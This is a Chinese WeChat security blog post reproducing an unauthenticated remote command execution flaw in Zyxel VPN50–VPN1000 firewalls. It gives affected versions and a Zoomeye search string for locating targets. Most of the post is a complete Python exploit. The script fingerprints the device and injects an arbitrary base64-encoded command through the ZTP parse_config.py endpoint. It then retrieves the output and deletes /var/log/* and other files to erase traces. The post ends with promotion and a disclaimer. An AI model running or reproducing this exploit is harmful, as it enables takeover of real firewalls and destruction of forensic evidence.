漏洞简介
Zyxel 多款 VPN 防火墙存在远程命令执行漏洞,攻击者可利用该漏洞获取服务器控制权限。
影响版本:
VPN50, VPN100, VPN300, VPN500, VPN1000 版本为 5.21 至 5.36
指纹识别
Zoomeye: app:"ZYXEL"
漏洞验证
查看ZYXEL版本
在/ext-js/app/common/zld_product_spec.js这个路径
poc:
#!/usr/bin/python3 import argparse import base64 import random import requests # ignore ssl certification from requests.packages.urllib3.exceptions import InsecureRequestWarning requests.packages.urllib3.disable_warnings(InsecureRequestWarning) DEBUG = False # True class Exploit: def __init__(self, args, https=True): self.args = args self.host = args.host self.command = args.command self.session = requests.Session() self.session.verify = False self.root = f"http://{self.host}:{self.args.port}/" if https: self.root = f"https://{self.host}:{self.args.port}/" def req_post(self, path, data={}, files={}): url = f"{self.root}{path}" result = self.session.post(url, data=data, files=files) if DEBUG: print(f"[*] req: {url}") print(data) print(result.text) return result def req_get(self, path, params={}): url = f"{self.root}{path}" result = self.session.get(url, params=params) if DEBUG: print(f"[*] req: {url}") print(params) print(result.text) return result def fingerprint(self): print("[+] fingerprint") version = "" title = "" # version_string = "/ext-js/app/common/zld_product_spec.js" r = self.req_get("/ext-js/app/common/zld_product_spec.js") if "ZLDSYSPARM_PRODUCT_NAME1=" in r.text: title = r.text.split('ZLDSYSPARM_PRODUCT_NAME1="')[1].split('"')[0] if "ZLDCONFIG_CLOUD_HELP_VERSION=" in r.text: version = r.text.split("ZLDCONFIG_CLOUD_HELP_VERSION=")[1].split(";")[0] print(f" title = {title}") print(f" version = {version}") return (title, version) def fingerprint2(self): print("[+] fingerprint") version = "" title = "" version_string = "/ext-js/app/common/zld_product_spec.js" r = self.req_get("/") if version_string in r.text: version = r.text.split(version_string)[1].split('"')[0] if "<title>" in r.text: title = r.text.split("<title>")[1].split("</title>")[0] print(f" title = {title}") print(f" version = {version}") return (title, version) def run(self): command = args.command if type(command) == str: command = command.encode() command += ( b" 2>/var/log/ztplog 1>/var/log/ztplog\n" b"((sleep 10 && /bin/rm -rf /tmp/1.qsr /share/ztp/* " b"/var/log/* /db/etc/zyxel/ftp/tmp/coredump/* /tmp/sdwan_interface/*) &)\n" ) command = base64.b64encode(command) command = b"echo " + command + b" | base64 -d > /tmp/1.qsr ; . /tmp/1.qsr" title, version = self.fingerprint() if not title.startswith("VPN") or version == "" or float(version) < 5.10: print("[-] invulnerable target") return if "ZTP is already enabled." in title: print("[!] ZTP is already enabled") print(" ZTP configuration will be clear if you continue") yes = input(' ENTER "YES" if you want continue: ').strip() if yes != "YES": return print("[+] payload transfer") payload = b"option proto vti\n" payload += b"option " + command + b";exit\n" payload += b"option name 1\n" config = base64.b64encode(payload) data = {"config": config, "fqdn": "\x00"} r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data) if "ParseError: 0xC0DE0005" in r.text: print("[-] invulnerable") return print(" complete") print("[+] code execution") localip = ( f"{random.randint(1,255)}.{random.randint(1,255)}." f"{random.randint(1,255)}.{random.randint(1,255)}".encode() ) remoteip = ( f"{random.randint(1,255)}.{random.randint(1,255)}." f"{random.randint(1,255)}.{random.randint(1,255)}".encode() ) payload = b"option proto gre\n" payload += b"option name 0\n" payload += b"option ipaddr ;. /tmp/1.qsr;\n" payload += b"option netmask 24\n" payload += b"option gateway 0\n" payload += b"option localip " + localip + b"\n" payload += b"option remoteip " + remoteip + b"\n" config = base64.b64encode(payload) data = {"config": config, "fqdn": "\x00"} r = self.req_post("/ztp/cgi-bin/parse_config.py", data=data) if "ParseError: 0xC0DE0005" in r.text: print("[-] invulnerable") return print(" complete") print("[+] receive output") r = self.req_get("/ztp/cgi-bin/dumpztplog.py") print( r.text.split("</head>\n<body>")[1] .split("</body>\n</html>")[0] .replace("\n\n<br>", "") .replace("[IPC]IPC result: 1\n", "") ) return if __name__ == "__main__": parser = argparse.ArgumentParser(description="Exploit") parser.add_argument("host", type=str, help="target host") parser.add_argument("--port", type=str, help="port", default="443") parser.add_argument("command", type=str, help="command") parser.add_argument("--no-https", dest="no_https", action="store_true") args = parser.parse_args() https = not args.no_https s = Exploit(args, https=https) s.run()
发送POC:
漏洞收录
漏洞已收录于团队内部漏洞库(建设于2019年),现已收集4000+实战漏洞
现仅供团队内部使用,每月随机抽取关注者加入社群交流学习。
回复关键字【POC】获取POC下载链接
点击下方名片进入公众号,欢迎关注!
点个小赞你最好看
原文始发于微信公众号(猫蛋儿安全):【漏洞复现】Zyxel 多款 VPN 防火墙未授权远程命令执行漏洞(CVE-2023-33012)【附POC】
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论